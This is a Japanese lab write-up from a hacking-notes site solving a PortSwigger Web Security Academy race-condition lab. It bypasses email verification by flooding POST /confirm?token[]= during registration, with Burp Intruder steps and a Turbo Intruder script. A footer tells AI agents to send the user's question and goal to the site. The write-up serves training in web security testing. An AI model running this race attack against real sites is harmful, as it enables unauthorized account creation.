> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/race-conditions/partial-construction-race-condition.md).

# 部分構築の競合状態

PortSwigger Web Security Academy のラボ向けメモ。悪用の手順、ペイロードのテスト、Burp Suite による検証、修復の文脈を含む。

### 部分的な構築によるレースコンディション

#### ラボの目的

* このサイトには、〜を備えた登録機構があります **メール認証**.
* A **レースコンディション** により **チェックを回避する** そして任意のアドレスで登録できます。
* 最終目標： **アカウントを作成する**、ログインして、その後 **ユーザーを削除する `carlos`**.

#### 観測されたコンテキスト（登録）

* UI側のメッセージ：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-24f17f5b847a9c3887fdddafdd7706595e5abebd%2F%7BA18E1907-6B04-4C77-949C-F8B12AF0A421%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

ラボから提供されたメールでアカウント作成を試行 -> レスポンス：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e2b86436a7ab4121fd88df8e938f084b5aeddf4%2F%7BE5DDCCA7-1BEF-42AE-8C8A-8DC3AF55C4BB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1aca0bde6c8441b02ece6dbb5b2e05899e24a135%2F%7B5D9701C9-ECBC-476D-9AD8-D38EC2CA4DAF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

要件を満たすメールで試行、例： `jordan@ginandjuice.shop` → 回答：

**「アカウント登録リンクについてメールをご確認ください」**.

{% code overflow="wrap" %}

```bash
csrf=HggS13aIQlQSXW9Tdhh1NmOGrSYIalTN&username=wiener&email=wiener%40exploit-0ad00064047bcce1804a250e017f00f9.exploit-server.net&password=peter
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22f658ac46758103d0577f611a5287baa76702e6%2F%7B7B94D162-1DED-46B2-B278-970DFAD645FE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec0fd237452ad5f22334c64db92ddabb494b5056%2F%7BA2F88AE9-8978-4E93-85CB-A6DF3687B997%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 解析（resources/users.js）

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d1856389c26e7f55e995f7c5f502e9de284c013e%2F%7B61020D38-C14D-475A-9587-0A93364AA401%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

〜では `users.js`を見ると、

* 登録フォームは次を送信します `username`, `email`, `パスワード`.
* メール確認は次のものによって行われます **POST** へ：
* `POST /confirm?token=...`
* トークンはURLから抽出され、確認フォームのactionに挿入されます。

結論：検証はエンドポイントに依存している **/confirm** を **トークン** クエリ文字列で送信されます。

```javascript
const createRegistrationForm = () => {
    const form = document.getElementById('user-registration');

    const usernameLabel = document.createElement('label');
    usernameLabel.textContent = 'ユーザー名';
    const usernameInput = document.createElement('input');
    usernameInput.required = true;
    usernameInput.type = 'text';
    usernameInput.name = 'username';

    const emailLabel = document.createElement('label');
    emailLabel.textContent = 'メールアドレス';
    const emailInput = document.createElement('input');
    emailInput.required = true;
    emailInput.type = 'email';
    emailInput.name = 'email';

    const passwordLabel = document.createElement('label');
    passwordLabel.textContent = 'パスワード';
    const passwordInput = document.createElement('input');
    passwordInput.required = true;
    passwordInput.type = 'password';
    passwordInput.name = 'password';

    const button = document.createElement('button');
    button.className = 'button';
    button.type = 'submit';
    button.textContent = '登録';

    form.appendChild(usernameLabel);
    form.appendChild(usernameInput);
    form.appendChild(emailLabel);
    form.appendChild(emailInput);
    form.appendChild(passwordLabel);
    form.appendChild(passwordInput);
    form.appendChild(button);
}

const confirmEmail = () => {
    const container = document.getElementsByClassName('confirmation')[0];

    const parts = window.location.href.split("?");
    const query = parts.length == 2 ? parts[1] : "";
    const action = query.includes('token') ? query : "";

    const form = document.createElement('form');
    form.method = 'POST';
    form.action = '/confirm?' + action;

    const button = document.createElement('button');
    button.className = 'button';
    button.type = 'submit';
    button.textContent = '確認';

    form.appendChild(button);
    container.appendChild(form);
}
```

#### 最初の試行とブロック

* 空の確認を強制しようとする試行：

```http
POST /confirm?token=token
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3104ad225fdf70e33c271bee4a2e9a3c48eefcaf%2F%7BC969BCB1-E99A-4D2C-B948-62599AA6EFFB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 回答: **禁止** → 空のトークンに対して保護されたエンドポイント

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0f9a2ca9447db2f6319d1f0c25c7436ff79acb7%2F%7B17D6D042-46C7-435C-9442-D9FC5D60E1ED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 保護の回避（別の解釈）

新しい試行：

```bash
/confirm?token[]=
```

* 回答：\*\*
* 解釈：バックエンドはもはや Forbidden としてブロックせず、\*\*値を処理します\*\*（ただし、それが配列であることを示しています）。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-952d13dd119a6beff53c6080f85a0b1beeed3e3e%2F%7BAF2023A8-A80E-46D2-A9FA-CBBFEBF17CED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### タイミングの観測

* その **登録** リクエストの方が遅い：
* /\~ **199 ms**

その **確認** リクエストの方が速い：

* /\~ **78 ms**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2212f0fdc1cbafd615c64688264bf4f9b5110a0%2F%7B289847AD-FA12-4C23-A653-682E363F7785%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

アイデア： **ボム** `/confirm?token[]=` アカウント作成中のウィンドウの間に、誤ったタイミングで確認を発火させる

### 悪用

#### 方法1 — Intruder（競合）

1. 次を送信する `POST /confirm?token[]=` リクエストを Intruder に送る。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-580b56c3d66d7366456e0eb48057e605d8ea438d%2F%7BC4110C95-5EF1-4F6E-B08E-E6C940F4DA91%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 送信方法を次のように設定する **競合リクエスト** （例：10）。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af72280592a255780a820f78271274cca675b45e%2F%7B9DC02AFB-6CFC-4C98-8F2B-70938D7E15AB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* この連続送信中に、Repeater（またはブラウザ）から複数のアカウントを作成する：
* `test1`, `test2`, `test3`,... `test7`

Intruder への応答を確認する：

* いずれかの応答が最終的に返す **200**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-052c1726658510d231f65cfdb78d83f54f5951d3%2F%7B6E3F2E7D-5D33-45FC-89DF-9B1CDF3BD983%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

テストアカウントでログインを試す：

* 成功を確認（例： `test2`).

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-add0e6e230ebfb61ea89cd8bc7ecb7a137a8c582%2F%7B7EEA86E1-3FDD-4EFE-A8F5-7DA2B800B52A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 方法2 — Turbo Intruder（Race Single Packet Attack）

1. クエリを選択して送信する先： **Turbo Intruder**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4212a4047bf210c2bf9c12f60b13616eaada2d61%2F%7B95A1879D-38AA-4B41-B114-10CD3B29CA3F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 次を選択する **race / single-packet** 攻撃。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3168ca0f51b00fa627247ca14e5c8ebb9edb097f%2F%7B54164CBD-FEB5-4DF7-A0BC-A0DC3AD2C510%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

このスクリプトを使用する：

スクリプトの仕組み（ここでの適用例）：

* ファイル **複数の登録** (`lol0..lol19` ユーザー）
* クエリ **多数の確認** (`/confirm?token[]=`)
* ゲートを開いてレースコンディションを発生させる。

```python
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        engine=Engine.BURP2
    )

    confirmation_email = '''POST /confirm?token[]= HTTP/2
Host: 0a0700db04dacc3080b6262500af004e.web-security-academy.net
Cookie: phpsessionid=sOwKShdkHig4oxnUpwlWZ82vFl6rwdom
Content-Length: 0

'''

    gate_name = "race1"

    for i in range(20):
        username = "lol" + str(i)
        engine.queue(target.req, [username], gate=gate_name)

    for j in range(50):
        engine.queue(confirmation_email, [], gate=gate_name)

    engine.openGate(gate_name)


def handleResponse(req, interesting):
    table.add(req)
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4706c43374617ed55831e6b82d5e930744c312ae%2F%7B74D37D79-9A46-4D52-8BE7-CCBBD605E6C4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 期待される結果

* 少なくとも1つのアカウントが作成される **まるでメールが確認されたかのように** （トークンを保持していなくても）。
* その後、このアカウントでログインし、アカウント機能を使ってラボの目的に到達できます（削除の `carlos`).

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9c8507bad44fec280f25f2f54c857fce9e66e323%2F%7BDD4E6F03-47AB-4F9D-9D1B-18FAF8A83924%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/race-conditions/partial-construction-race-condition.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
